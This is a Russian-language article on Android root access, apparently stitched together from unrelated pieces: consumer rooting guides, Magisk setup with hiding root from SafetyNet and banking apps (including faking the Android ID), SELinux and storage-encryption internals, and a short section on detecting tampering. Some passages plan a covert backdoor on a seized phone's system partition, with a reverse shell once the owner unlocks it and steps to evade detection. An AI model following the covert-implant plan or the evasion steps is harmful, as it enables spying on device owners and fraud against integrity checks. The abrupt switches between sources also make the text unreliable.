Root на любом устройстве

Легальные root-права и LineageOS

• eng – это полностью отладочный вариант сборки, помимо легального root-доступа и отладочной информации в такой сборке присутствуют дополнительные инструменты для диагностики, поиска проблем, профилирования и отладки прямо на устройстве.

На отладочных типах сборок отсутствует исполняемый файл su, а получение легального root-доступа на них осуществляется с помощью перезапуска демона adbd с помощью команды adb root. Технически это реализовано в виде простого условия в коде adb. При запуске демон adb всегда стартует от root, но в определённый момент дропает свои привилегии до shell. На нерелизных сборках получив команду adb root он не понижает свои привилегии до shell, а пользователь получает возможность полноценно работать от пользователя root. Специально для того, чтобы adb мог таким образом предоставить полноценный доступ к системе существует специальный контекст u:r:su:s0, который собирается и включается в политики если сборка не является релизной. Он до конца разрешает процессу adb всё что в обычном случае было бы запрещено SELinux.

$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ ^D
$ adb root
restarting adbd as root
$ adb shell
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:su:s0

Похожим образом «легально» root-права получает addonsu, который поставлялся вместе с LineageOS до версии 16 включительно (сейчас он deprecated). Он использует подход с записью исполняемого файла su в директорию /system/bin в разделе system, а также с демоном, который обладает заготовленным контекстом SELinux и может запускаться и останавливаться в зависимости от настроек системы и предоставлять доступ к оболочке с правами root если это разрешит делать пользователь. Тем не менее, с технической точки зрения, подход используется тот же самый. Разработчики LineageOS специально закладывают в исходный код правила для addonsu, они не знают, будет ли владелец пользоваться им или нет, но если всё-таки будет, то файлу su будут нужны эти политики, поэтому их вносят в *.te файлы в исходный код.

$ adb shell
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:sudaemon:s0

$ adb root
adbd cannot run as root in production builds

Мы не можем полагаться на то, что телефон с разблокированным загрузчиком будет и содержать LineageOS, и иметь включённый режим adb, к тому же контексту u:r:init:s0 запрещён transition в контекст u:r:su:s0, поэтому закрепиться в качестве системного демона подобным образом всё равно не получится, а значит для извлечения данных нам необходимо воспользоваться другим подходом.

Для чего его используют

Root-доступ открывает широкие возможности для тонкой настройки системы. В первую очередь, он позволяет заняться такими вещами, как удаление предустановленных приложений, создание полных резервных копий, управление частотой процессора, установка сторонних модулей для изменения внешнего вида или для внедрения нового функционала.

Изменение дизайна системы

Одна из интереснейших вещей, которая открывается с рутом, — возможность полностью поменять дизайн системы. Причём речь идёт не о лаунчерах, которые доступны даже на обычных устройствах. В распоряжении оказываются строки навигации (полоска жестов или кнопки «Назад», «Домой»), панели уведомлений, системные иконки, цветовые схемы, шрифты и другие элементы интерфейса.

Настройка компонентов устройства

Для любителей полностью настраивать гаджеты под себя существует возможность самостоятельно менять частоты процессора или видеоускорителя в смартфоне, продлевая тем самым автономность или увеличивая производительность. Кроме того, существует программное обеспечение, позволяющее экономить ценные проценты батареи за счёт перевода в спящий режим различных фоновых процессов и сервисов, которые запускаются автоматически.

Полное контролирование разрешений игр и программ

Благодаря Root можно максимально гибко управлять разрешениями конкретных приложений, что позволит обеспечить безопасность своего устройства. Это может пригодиться для того, чтобы определённая программа не могла использовать интернет для загрузки рекламы, или для того, чтобы приложения не имели доступ к сообщениям и камере.

Удаление «неудаляемых» приложений

Ещё одна полезная возможность, которая открывается с получением Root-прав, — удаление предустановленного программного обеспечения. Многие производители ставят на свои смартфоны различные приложения, которые не всегда нужны пользователю, но при этом забивают память, и при этом их нельзя удалить. С Root-доступом эта проблема исчезает, поскольку права суперпользователя позволяют удалить абсолютно любую предустановленную игру или программу.

Создание полноценных резервных копий

При постоянных экспериментах с прошивками или просто для собственного спокойствия пригодятся программы для создания полноценных бэкапов (резервных копий). Они умеют быстро создавать резервную копию с пользовательскими приложениями, информацией из них, а также личными данными вроде контактов, телефонной книги, файлов или аккаунтов. Эти программы легко справляются с переносом текущего состояния устройства при переходе с одной прошивки на другую.

Настройка Magisk или как пройти SafetyNet

В новых версиях (24+) Magisk на смену Magisk Hide пришел новый метод сокрытия root — Zygisk. Его название состоит из слов Zygote — материнского низкоуровнего процесса Android, с помощью которого происходит работа Magisk и собственно названия приложения.

По умолчанию этот режим отключен в настройках Magisk, но я рекомендую включить его при первой же возможности.

Сразу после этого необходимо установить два модуля из Github-репозиториев — Universal SafetyNet Fix и Shamico. Первый нужен для прохождения CTS-аттестации (сертификация устройства SafetyNet), а второй для корректной работы функции скрытия root и DenyList magisk. Установка модулей интуитивно понятна и не должна вызвать вопросов.

Не уходя далеко после установки модулей переходим в раздел «Настройка DenyList», не активируя пункт «Активировать DenyList».

В этом меню мы увидим список установленных приложений. Скрытие root по умолчанию применено к сервисам Google, отдельно включать не надо! В большинстве случаев достаточно проставить галочки рядом с приложениями, от которых вы хотите скрыть рут, но бывают случаи, когда это не работает (например, некоторые банковские приложения). Тогда я советую нажать на плашку с названием приложения. Откроется весь список компонентов, от которых скрывается рут и проставить переключатель возле каждого из них. Приложений, которые обходили бы этот метод я еще не видел.

Для закрепления рекомендую использовать функцию «Скрыть приложение Magisk», поскольку его наличие можно вычислить элементарно по списку установленных приложений (так, например, работает MirPay). MagiskManager пересоберется со случайным именем пакета и предложит себя установить.

Если есть возможность, можно ограничить конкретным приложениям доступ к списку приложений с помощью Xposed-модулей вроде Thanox или XPrivacy Lua и тогда скрывать Magisk Manager не обязательно.

После проделанных действий необходимо как можно скорее перезагрузить телефон. Загрузка может быть слегка дольше, чем обычно.

Без должной настройки сервисы Google вскоре заметят чужака в системе и забракуют устройство по CTS.

Скрытие root для приложения необходимо делать до первого запуска целевого приложения! Мне попадались довольно злопамятные программы, которые раз увидев root, сохраняли мой id на сервере, приходилось либо перешивать устройство, либо подсовывать им фейковый Android ID.

Как устроено шифрование хранилища

Для начала разберёмся как устроено шифрование хранилища, потому что это самое труднопреодолимое препятствие для изъятия данных. Шифрование применяется на уровне файловой системы. Существует два основных подхода к организации шифрования:

• FDE – full-device-encryption – полнодисковое шифрование. Это значит что всё устройство хранения зашифровано, и даже загрузка операционной системы невозможна до его расшифровки. Поэтому в этом случае владельцу устройства для работы с ним сначала, ещё до загрузки операционной системы, необходимо ввести ключ с помощью которого хранилище будет расшифровано и только потом произойдёт загрузка системы. Такой подход требовал «двойной» загрузки системы, сначала в минимальном варианте для показа формы ввода пароля, а потом в полноценном, после расшифровки хранилища. Он применялся на некоторых устройствах с версиями android 5-7, однако на современной версии ОС и современных устройствах не используется

• FBE – file-based-encryption – шифрование отдельных частей файловой системы. Применительно к android зашифрованы только те части системы, где хранятся данные пользователя. Незашифрованным остаются ядро, системный раздел, и т.д. Строго говоря, проще перечислить то, что зашифровано, а зашифрованы только /data/data и /data/media. Все остальные части системы остаются незашифрованными. Это позволяет операционной системе успешно загружаться до экрана авторизации пользователя, стартовать системные сервисы и accessibility сервисы, принимать SMS. Начиная с android 7 и переходом на FBE появилось Directboot API, которое даёт приложениям возможность запускаться и в ограниченном режиме работать до ввода кода разблокировки и расшифровки файловой системы. FBE позволяет сочетать высокие стандарты защиты данных в хранилище и отличный пользовательский опыт. Пользователь не отвлекается на ввод дополнительного пароля до запуска системы, система не тратит ресурсы на шифрование и расшифровку частей файловой системы где не содержится личных данных владельца. Это современный подход, который используется на современных устройствах и является обязательным для всех новых устройств, начиная с android 9.

• BFU (before first unlock) – до первого ввода кода разблокировки

• AFU (after first unlock) – после первого ввода кода разблокировки

До первого ввода кода разблокировки данные пользователя всегда зашифрованы, после первого ввода – всегда расшифрованы. Даже когда пользователь в дальнейшем нажимает кнопку питания или система сама уходит в сон, то данные, с точки зрения ОС, больше не переходят в зашифрованное состояние, теперь их защищает только экран блокировки. В android пока не предусмотрен механизм очищения ключей для расшифровки файловой системы из памяти после определённого периода неактивности.

Это значит, что если после того, как устройство было разблокировано хотя бы однажды подключиться к нему, например по adb, то пользовательские данные будут доступны и можно получить к ним доступ даже если экран заблокирован.

Вот так выглядит общее хранилище до первого ввода кода разблокировки:

# ls -la /data/media/0/
total 100
drwxrwx--- 13 media_rw media_rw 4096 2021-01-29 10:45 .
drwxrwx--- 4 media_rw media_rw 4096 2021-01-29 10:43 ..
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 3aIg6706qnt+JRerXQc,9B
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 5RxSnwRfzXH5JsgykyuneB
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 9QCg2626EAEHNRc,IpjzjC
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 XLrhnulSzxYVPwgkHhs8YC
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:45 ZC6kM5uXi6,coHL+OYgLCB
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 kJJ0DN8Tmhcs7hicwcEZ3A
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 mPaCm6PJHF9,MyimVTRozC
drwxrwxr-x 3 media_rw media_rw 4096 2021-01-29 10:43 qIkgta78EOvsfnjupFXQ+C
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 uAP,C13tjXpxdP8PWVeMRD
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 v33cOjp,wu+hlgBIWnQdjB
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 xxjD9tk7bDh9XZUzoDwMbB

А вот так после:

# ls -la /data/media/0/
total 100
drwxrwx--- 13 media_rw media_rw 4096 2021-01-29 10:45 .
drwxrwx--- 4 media_rw media_rw 4096 2021-01-29 10:43 ..
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Alarms
drwxrwxr-x 3 media_rw media_rw 4096 2021-01-29 10:43 Android
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 DCIM
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Download
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Movies
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Music
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Notifications
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Pictures
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Podcasts
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Ringtones
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:45 bluetooth

На самом деле, шифрование хранилища – самая трудно преодолимая часть нашей задачи по извлечению данных. Обойти шифрование с ключами в аппаратном ТЕЕ никак не представляется возможным, но зато из этой информации следует несколько полезных выводов, а наша задача начинает формироваться в конкретные технические требования.

• Во-первых, получать доступ к личным файлам пользователя в любом случае придётся только после ввода кода разблокировки. 

• Во-вторых, разблокированный загрузчик даёт возможность переписывать системный раздел, а он никогда не зашифрован, даже в BFU состоянии.

Это подводит нас к мысли о том, что можно воспользоваться возможностью модифицировать никогда не шифруемую часть системы, внедрить в неё агента, который никак не затронет и не испортит зашифрованные данные, а в последствие даст нам доступ к ней после того как устройство будет возвращено пользователю и он сам первый раз введёт код разблокировки. Поскольку пользователь явно не будет вводить код разблокировки подключив устройство к нашему usb кабелю или находясь в нашей локальной сети, то использование adb нам не подходит и необходимо организовать удалённый доступ в формате reverse-shell.

Пошаговая инструкция

Как открыть рут-права на Андроид:

• приложением, установленным на смартфон, подключаться к компьютеру не нужно;
• программой, установленной на компьютере (смартфон подключается к компьютеру кабелем);
• через ADB-терминал, запущенный на ПК (устройство присоединяется к ПК кабелем).

Ниже рассмотрим вопрос: «Root доступ на Андроид – как включить на русском языке разными способами?».

Со смартфона

Список приложений, предоставляющих Root-права на Android, которые устанавливают на сам гаджет (без подключения к ПК):

• Framaroot (до версии Android 4.2, в 2014 поддержка приложения прекратилась);
• Kingroot (поддерживает более 10 тысяч смартфонов, включая Nexus, Huawei, ZTE);
• Kingo Root;
• 360root (до Android 5.1.1);
• Zykuroot;
• OneClickRoot;
• Root Genius.

У каждого приложения свой список моделей гаджетов и версий Android, для которых оно подходит. Перед загрузкой проверяйте, подходит ли программа для вашего устройства.

Самая распространенная программа — Kingo Root (на русском языке). Рассмотрим, как открыть Root права на Android через это приложение.

1. Заходим в настройки безопасности и разрешаем установку приложений из «Неизвестных источников».
2. Качаем .apk-файл и перекидываем на смартфон (если скачивали на компьютер).
3. Запускаем .apk-файл.
4. Ждем, пока приложение разблокирует доступ. Скорость зависит от модели гаджета.
5. После завершения видим надпись «Root Succeeded».

Через компьютер

Если интересует, как открыть Root доступ на Android через компьютер, подойдут такие программы (устанавливаются не на смартфон, а на ПК):

• RootKHP Pro;
• Unlock Root Pro;
• Vroot;
• Kingo Root.

Пошаговый план установки (на примере Vroot, остальные приложения — применяются так же).

1. Скачиваем и устанавливаем Vroot на ПК.
2. На смартфоне разрешаем установку приложений из «Неизвестных источников».
3. Подключаем устройство к ПК USB-кабелем.
4. Включаем «Отладку по USB». В некоторых смартфонах режим можно включить при подключении USB-кабеля. В других — расположен в «Настройках», в разделе «Для разработчиков» (поставьте галочку напротив «Отладка по USB»).
5. Открываем Vroot. После запуска приложение должно автоматически определить смартфон. Если программа разблокирует Root-доступ, то рядом с моделью появится зеленая галочка.
6. Жмем «Root».
7. Дожидаемся, пока приложение разблокирует режим суперпользователя.
8. После разблокировки закрываем программу на ПК и отсоединяем кабель от смартфона.

Через ADB-терминал (с компьютера)

ADB (Android Debug Bridge, или «отладочный мост») – драйвер для смартфонов, связывающий гаджет с ПК. Разрешает управлять устройством из командной строки.

Способ актуален, если производитель устройства постарался максимально закрыть рут-доступ пользователям.

Что нужно для разблокировки через ADB:

• компьютер с ОС не «младше» Win7;
• ADB-драйверы для смартфона (установятся автоматически после подключения гаджета к ПК через кабель);
• USB-кабель.
• устройство со включенной «Отладкой по USB»;
• ADB-терминал, распакованный в корень любого диска (кроме диска с Windows) в папку ADB.

Как подключить рут-права на Андроид через ADB-терминал?

1. Подключаем смартфон к ПК кабелем.
2. На ПК открываем командную строку.
3. Пишем: cd N://adb (где N – буква диска, куда распакован ADB-терминал).
4. Вводим команды, которые активируют режим суперпользователя.

Универсальных команд для этого нет. Поэтому ищите нужные в инструкции к телефону. Если в бумажной инструкции информации нет, или она утеряна, или нет руководства на русском языке — найдите сведения в Интернете, на сайте производителя смартфона.

Особые случаи

В гаджетах с прошивками MIUI (ставится на гаджеты Xiaomi) и LewaOS (и в некоторых других неоригинальных прошивках) активация рут-прав делается без сторонних приложений. Функция уже встроена в ОС и активируется в настройках.

Обычно включается в разделе «Безопасность». По умолчанию стоит «Выкл». Ползунок надо перевести на «Вкл», и режим суперпользователя включится.

Если Root-доступ уже не нужен, для отключения удалите файлы:

• su из папки system — bin;
• su из папки system — xbin;
• superuser.apk из папки system — app.

Затем перезагрузите смартфон.

Другой способ удаления — через приложение, которым открывали доступ. В некоторых программах в настройках есть функция отключения.

Последствия использования Root, о которых нужно знать

Получение рут-доступа имеет 3 важных последствия.

1. Можно редактировать и удалять файлы, в том числе важные. Ошибка может привести к нарушению работы гаджета. Если под Root-доступом нарушится работа ОС — по гарантии эту поломку не исправят: придется платить.
2. Гарантия на смартфон перестанет действовать. Однако режим суперпользователя не затрагивает аппаратной части. Поэтому после нужных процедур можно отключить рут-доступ, и при сдаче по гарантии никто не узнает, что режим активировался.
3. Нельзя получать обновления «по воздуху» (пока режим суперпользователя включен). После отключения Root все появившиеся обновления установятся автоматически (или придет запрос на их установку, который надо подтвердить).

Как защититься?

Самый простой подход, для которого даже не нужно ничего предпринимать – отказаться от использования root-прав и альтернативных прошивок. Это спорный совет для тех кто пользуется альтернативными сборками для прокачки приватности своего устройства. Это моё личное мнение, но я считаю, что нынешний стоковый android очень даже неплох. Я долгое время интересуюсь модификациями системы, направленными на усиление приватности и безопасности, и должен отметить, что в последних трёх версиях ОС была проделана впечатляющая работа по сокращению возможностей для сбора информации с устройства. Если раньше разница между стоковой сборкой ОС и альтернативной, усиленным всякими специализированными инструментами вроде XPrivacyLua с кастомными хуками была огромной, то теперь она очень сократилась.

Разумеется, от некоторых вещей в android Google ни за что не откажется, и на стоковой прошивке никогда не отделаться от рекламного идентификатора, но тем не менее большую часть bloatware можно безболезненно отключить. Плюс, у пользователя android всё ещё есть свобода самостоятельно решать какими именно приложениями он будет пользоваться и откуда их устанавливать. Не обязательно полагаться на google play, можно использовать альтернативные репозитории, например F-Droid. Не обязательно завязываться на экосистему Google. Можно в качестве альтернативы использовать NextCloud на собственном сервере. В общем, при правильном подходе можно заменить в стоковой системе практически всё и получить устройство, которое будет практически так же хорошо как и на альтернативной прошивке, при этом иметь заблокированный загрузчик и все плюсы использования немодифицированного устройства, такие как работающий Google Pay и платежи касанием по NFC, беспроблемно работающие приложения банков и иные полагающиеся на проверки SafetyNet, нормально работающая камера и т.д.

Другой очевидный подход заключается в том, чтобы не допускать попадания устройства физически в чужие руки. По сути, всё что обсуждалось выше касается в основном только физического доступа. Если не держать постоянно включённым режим разработчика, не давать приложениям права администратора, следить за тем, что именно устанавливается на устройство и соблюдать базовые «правила гигиены», то всё будет хорошо.

Для тех случаев, когда устройство изымается пограничниками или полицией, либо попадает на время в руки злоумышленников возможно организовать противодействие. Разумеется, это имеет смысл только если смартфон в их руки попал не разблокированным. Это несложно, но требует некоторых регулярных усилий. Для этого нужно взять за привычку считать хэши основных разделов, в которые может быть подкинут бэкдор при физическом доступе, сразу после установки системных обновлений. Обновили систему – пересчитайте хэши и сохраните в надёжном месте. Если пользуетесь root-правами, то можно сделать нехитрое приложение для этого, если не пользуетесь – придётся загружаться после установки в TWRP и снимать там.

В общем-то логика получается следующей: после получения устройства на руки, не загружаясь в систему и не вводя код разблокировки, загружаемся в TWRP, пересчитываем хэши. Если на разделах boot, system или vendor они поменялись, то в систему было что-то добавлено, или по крайней мере была предпринята попытка этого.

Наибольшее ограничение в том, как мало существует устройств, на которых можно провернуть подобное. Несмотря на то, что в Google предоставил все необходимые возможности для этого, а в документации есть общее и подробное описание того как это работает, очень немногие производители поддерживают эту фичу. Честно говоря, я знаю только о двух – это Google (линейка смартфонов Pixel) и OnePlus. Поддержка проверки подписи операционной системы ключами пользователя не является обязательной для сертификации устройства и реализуется производителем устройства строго по его желанию. Полагаю, что большинство производителей просто не желает делать дополнительную работу, либо не желает чтобы у покупателей появился дополнительный повод использовать неродную ОС на их устройствах. 

Использование такого подхода будет требовать сборки и подписи каждого нового обновления, что может быть утомительно, т.к. это требует времени, некоторых технических знаний, мощной производительной машины для проведения сборки, с большим и быстрым хранилищем на несколько сотен гигабайт, а также поддержки сервера на котором будут публиковаться обновления. Я уверен, что далеко не каждый захочет заниматься этим.

Как получить root-права?

Мы, наконец, переходим от скучных лекций к решительным действиям.

Для получения таких прав, вы можете воспользоваться одной из перечисленных выше утилит, но только в том случае, если у вас есть возможность восстановить систему и нет возможности установить Magisk. В целом, я всё равно не рекомендую такие утилиты к применению.

Более подробно мы будем рассматривать установку Magisk на примере самой последней версии (25.2).

Предполагается, что вы уже разблокировали загрузчик и установили сторонний recovery. Устанавливать стороннюю прошивку необязательно, это не должно вызвать проблем.

Первым делом нам необходимо, как обычно, сделать полный бекап разделов системы на внешний носитель, вроде sd-карты, чтобы если что-то пойдет не так, вернуть как было.

Следующим шагом будет скачивание установочного файла Magisk (исключительно из официального репозитория!). Если ваш recovery позволяет устанавливать APK как zip-архивы, как, например, OrangeFox, то скачанный файл в исходном виде копируем на внешнюю память устройства, поскольку внутренняя зачастую шифруется и вы просто не найдете этот файл из recovery. В случае, если у вас другой recovery, файл Magisk.apk необходимо переименовать в Magisk.zip и таким же образом скопировать на устройство.

Далее необходимо загрузиться в recovery и сделать отдельно резервную копию раздела boot.img. Далее поясню, зачем.

В Magisk имеется возможность полного удаления root с помощью переименования файла установки в uninstall.zip и прошивки в recovery, НО, он не работает на системах с включенным шифрованием data.

Если вдруг какой-то модуль выведет систему из строя и у вас не будет возможности загрузиться в систему, будет очень проблемно этот самый модуль отключить или отключить весь Magisk.

Имея на руках boot исходной системы (без Magisk) мы сможем восстановить конкретно этот раздел и, в большинстве случаев, работоспособность системы.

После того, как бекапы сделаны, люки задраены, просто прошиваем установочный файл Magisk как любой другой архив через recovery. Всё.

В общем и целом, ничего сложного в самом процессе установки нет, после прошивки и загрузки системы, в меню приложений появится приложение «Magisk», которое при первом запуске обновится и будет работать. Самое важно и интересное кроется в настройке.

Зачем нужны root-права?

Честно говоря, когда мне задают вопрос, зачем я получал root-права на своем девайсе, я иногда впадаю в ступор, поскольку использую какое-то специфичное ПО, требующее таких разрешений достаточно редко и точечно.

Как хорошие примеры могу привести эффективное использование программ-firewalls, которые с помощью расширенных прав могут более гибко и эффективно контролировать траффик. Также, программы предназначенные для очистки «мусорных» файлов работают гораздо эффективнее, как и разнообразные файловые менеджеры, которые могут позволить вам редактировать системные файлы. Программы для резервного копирования приложений могут сохранять все данные приложения.

Отдельно хотелось бы упомянуть Xposed Framework — специализированное ПО в виде фреймворка, позволяющее одним приложениям изменять поведение системных функций Android в других приложениях и получать более полный доступ к их ресурсам. Например, именно на этом принципе основан Xposed-модуль для перевода текста на любой язык прямо в целевом приложении.

Как работают root-права?

Когда то, для установки root-прав достаточно было перемонтировать раздел system в режим чтения-записи и скопировать туда исполняемый файл su. Затем появилась необходимость думать также и о политиках SELinux, и об AVB. Сегодня для получения root-прав можно выделить два основных подхода, которые можно условно назвать «легальным» и «нелегальным».

SELinux

Безопасность в android устроена сложнее чем хотелось бы злоумышленникам и представляет из себя многослойную систему. Unix DAC (discretionary access control), привычная нам система пользователей и назначения прав на файлы типа rwxrwxrwx является лишь частью мер по предотвращению злоупотребления операционной системой и устройством. Помимо неё есть ещё MAC (mandatory access control), в android это SELinux (Security Enhanced Linux). Суть MAC в возможности намного более гибко управлять доступом к различным ресурсам чем DAC, в том числе описывая для этого свои уникальные сущности и правила.

Отсюда следует несколько неочевидный ранее вывод – на android root-права в привычном для других дистрибутивов linux понимании, т.е. когда uid пользователя в системе равен 0, вовсе не означают что мы можем делать всё что угодно. Несмотря на то, что процесс init запущен с uid=0, он не может запустить сторонний сервис. Дело в том что SELinux не оперирует понятиями системных пользователей и групп, и если какое-то действие не было явно разрешено, то он его запретит и ему безразлично пытается ли его совершить непривилегированный пользователь или root. Он работает «выше» DAC и может запретить любое действие, которое DAC разрешил.

Вот отличный пример в android с самим файлом, содержащим политики SELinux:

$ ls -laZ /sys/fs/selinux/policy
-r--r--r-- 1 root root u:object_r:selinuxfs:s0 0 1970-01-01 03:00 /sys/fs/selinux/policy
$ cat /sys/fs/selinux/policy
cat: /sys/fs/selinux/policy: Permission denied

На нём стоит доступ для чтения для любых пользователей, но при попытке прочитать его мы получим Permission denied, потому что ни для процессов с контекстом u:r:shell:s0, ни для процессов с контекстом u:r:untrustedapp:s0 нет разрешения на чтение файлов u:objectr:selinuxfs:s0.

SELinux оперирует понятиями контекстов, которые присваиваются файлам и процессам, и правил взаимодействия между объектами принадлежащим разным контекстам. Наборы этих правил объединяются в политики. Они описываются в файлах *.te  в исходниках android, можно посмотреть примеры вот тут. Политики собираются на этапе сборки системы и, теоретически, не могут изменяться во время её работы, они компилируются в специальный бинарный формат, который уже использует система. 

Контекст SELinux на процессах и файлах можно посмотреть, добавив к выполняемой команде флаг -Z. Например, для просмотра контекстов на файлах в текущей папке можно вызвать команду ls -laZ, а на процессах, соответсвенно, ps -efZ. 

Как было упомянуто выше в секции про процесс загрузки системы, первое действие которое совершает процесс init – загружает и применяет политики SELinux, а одна из первых применяемых политик заключается в том что процессу с контекстом u:r:init:s0 запрещается делать transition в другой контекст. Политики SELinux специально строятся по принципу «запрещено всё что не разрешено», и создатели операционной системы, разумеется, позаботились о том, чтобы злоумышленник получивший возможность прописать запуск какого-то сервиса в автозапуск не смог это сделать. Контекст процесса init организован таким образом что он может запустить только те системные сервисы, для которых явно прописано разрешение на запуск во время загрузки системы, и после сборки системы это изменить нельзя. 

SELinux может работает в трёх режимах:

• enforcing – все действия описываемые политиками логируются и принудительно следуют правилам, т.е. если действие явно не разрешено, то оно не будет выполнено

• permissive – все действия описываемые политиками логируются но не следуют правилам принудительно, т.е. даже если действие явно не разрешено, оно будет выполнено, несмотря на ругань в логах

• disabled – никакие действия не логируются и не ограничиваются

В нормально работающей системе android версии от 5.0 SELinux всегда будет в режиме enforcing. Если по каким-то причинам он будет переведён в режим permissive, то пользователю ещё до ввода кода разблокировки покажут большое страшное уведомление об этом и о том что его система небезопасна. Мы точно не имеем права переводить SELinux в permissive режим, потому что это выдаст пользователю факт модификации его устройства, и он может предпочесть уничтожить данные. 

В каждой версии android, начиная с 5 политики SELinux сильно ужесточаются и всё меньше и меньше всего остаётся разрешённым. Иронично, но начиная с android 8 даже если прошить в системный раздел исполняемый файл su и сделать его системным и принадлежащим root:root, он не сможет работать без специально назначенных ему политик. 

Тем не менее инструменты для получения root-прав существуют, и они умеют обходить ограничения MAC, работать на самых свежих версиях android и даже на устройствах, которые помимо них дополнительно имеют отдельные механизмы контроля целостности системы (например устройства Samsung). Так как же тогда работает root в современных реалиях?

Опасности root-прав

Не буду утверждать, что root-права это безопасно — любой необкатанный magisk модуль может привести систему в нерабочее состояние, при неумелом редактировании системных файлов система также придет в негодность, а функционал программ, запрашивающих root не всегда прозрачен. Не давайте root права приложениям, которым, по вашему мнению, они не нужны! Периодически такие права запрашивают Яндекс Карты, статистики ради или для чего-то еще — неизвестно, но проверять не хочется.

Говорить о том, что наличие root как-то сильно ослабляет защиту системы тоже не буду — доступ вполне себе контролируемый, и если вы будете соблюдать элементарную цифровую гигену, никаких проблем не будет.

Самое опасное, наверное — потеря гарантии производителя, что логично.

Как получить Root

Конкретные шаги для каждого смартфона могут отличаться, но основной процесс состоит из разблокировки загрузчика операционной системы, установки кастомного Recovery (ПО для полного сброса к заводским настройкам, установки образов систем или бэкапов) и дальнейшей прошивки архива с утилитой вроде Magisk.

Внедряемся в систему без установленных root-прав

Первое приходит на ум мысль о том, что мы можем просто взять устройство с которого хотим извлечь данные, прошить в него magisk используя TWRP, а затем, сразу же следом прошить наш бэкдор. Технически это сработает, т.к. вместе с magisk установятся и его политики SELinux, благодаря которым он сможет работать, но в этом случае, пользователь сразу же поймёт, что что-то не так. Он не устанавливал magisk, а magisk на устройстве есть. Значит, в то время как устройство было изъято злоумышленником, он что-то в него прошивал. Пользователь не сможет заметить этого до того как введёт код разблокировки, однако проблема в том что во время разблокировки интернет на устройстве пользователя может быть выключен, мы не получим удалённый доступ, а пользователь, обнаружив то что в его устройство пытались что-то прошить может удалить необходимую информацию, удалить magisk, начать разбираться что не так, обнаружить бэкдор, или просто сбросить телефон до заводских настроек вследствие чего интересующие нас данные будут уничтожены. Если на устройстве пользователя стоит какое-либо антивирусное решение, то оно может поднять тревогу, если обнаружит что в системе появились root-права полученные через magisk. 

Нам нужно постараться любой ценой избежать обнаружения, поскольку от этого зависит получится у нас изъять данные или нет. По сути, нам, в общем-то, не нужны root-права в обычном понимании, нам не нужен терминал с uid=0 для того, чтобы вводить какие-то команды. Нам не нужен исполняемый файл su, т.к. uid=0 мы можем получить и от процесса init. Нам не нужны и сторонние инструменты, которые поставляются с magisk. Нам не нужно приложение MagiskManager. Всё что нас интересует – это контекст u:r:magisk:s0. Получим контекст – получим удалённый доступ. 

Нам не только не нужно всё вышеперечисленное, нам очень желательно ничего из этого не устанавливать, т.к. это – маркеры компрометации. Если пользователь запустит какую-нибудь популярную проверку на root, то она нас обнаружит, это же может случиться и в одном из приложений, установленных на его устройстве, оно обнаружит что на телефоне установлены root-права и уведомит пользователя об этом. 

Обнаружить root-права на устройстве, в частности magisk, можно по-разному. Можно банально проверить наличие установленного менеджера в системе или попытаться найти испоняемый файл su или magisk (magisk создаёт символическую ссылку su которая на самом деле указывает на исполняемый файл magisk)

Интересный факт: начиная с android 10 в системе появилась служба APEX отвечающая за более простой подход к доставке обновлений системных компонентов. Её идея в том, чтобы добавить в android возможность выборочно доставлять обновления частей системы: добавлять новые и заменять существующие системные библиотеки и части android фреймворка, и главное делать это небольшими пакетами, без необходимости загружать и устанавливать полные образы всех разделов целиком. Более того всё это ложится в стандартную модель управления пакетами в android. То есть идея в том, что это нечто вроде apk, но не для приложений, а для самой ОС. Это критически важно для безопасности, например для того, чтобы в случае обнаружения какой-нибудь новой серьёзной уязвимости в системной библиотеке, как это например случалось с libstagefright когда 95% устройств на рынке были подвержены уязвимости, а обновления до многих устройств шли долгие месяцы, Google мог в течение нескольких часов доставить обновление с заплаткой на 100% устройств которые поддерживают apex. Иронично то, что этот механизм ну очень сильно похож по принципу действия на работу модулей magisk, и на то, как они монтируются поверх системы через зеркала. Я могу только предполагать это, но не исключено, что ребята, которые игрались с безопасностью android устройств и «хакали» их по фану, вдохновили своими подходами системных разработчиков android, которые построили на этом систему обновлений, которая сделает каждое из наших устройств неприступнее для злоумышленников. По-моему, это прекрасно. 

Возвращаясь к magisk, особенностью такого подхода является то, что magisk создаёт множество лишних точек монтирования, особенно если установлено много magisk-модулей.

$ cat /proc/mounts | grep magisk
/sbin/.magisk/block/system /sbin/.magisk/mirror/system ext4 ro,seclabel,relatime,block_validity,discard,delalloc,barrier,user_xattr 0 0
/sbin/.magisk/block/vendor /sbin/.magisk/mirror/vendor ext4 ro,seclabel,relatime,block_validity,discard,delalloc,barrier,user_xattr 0 0
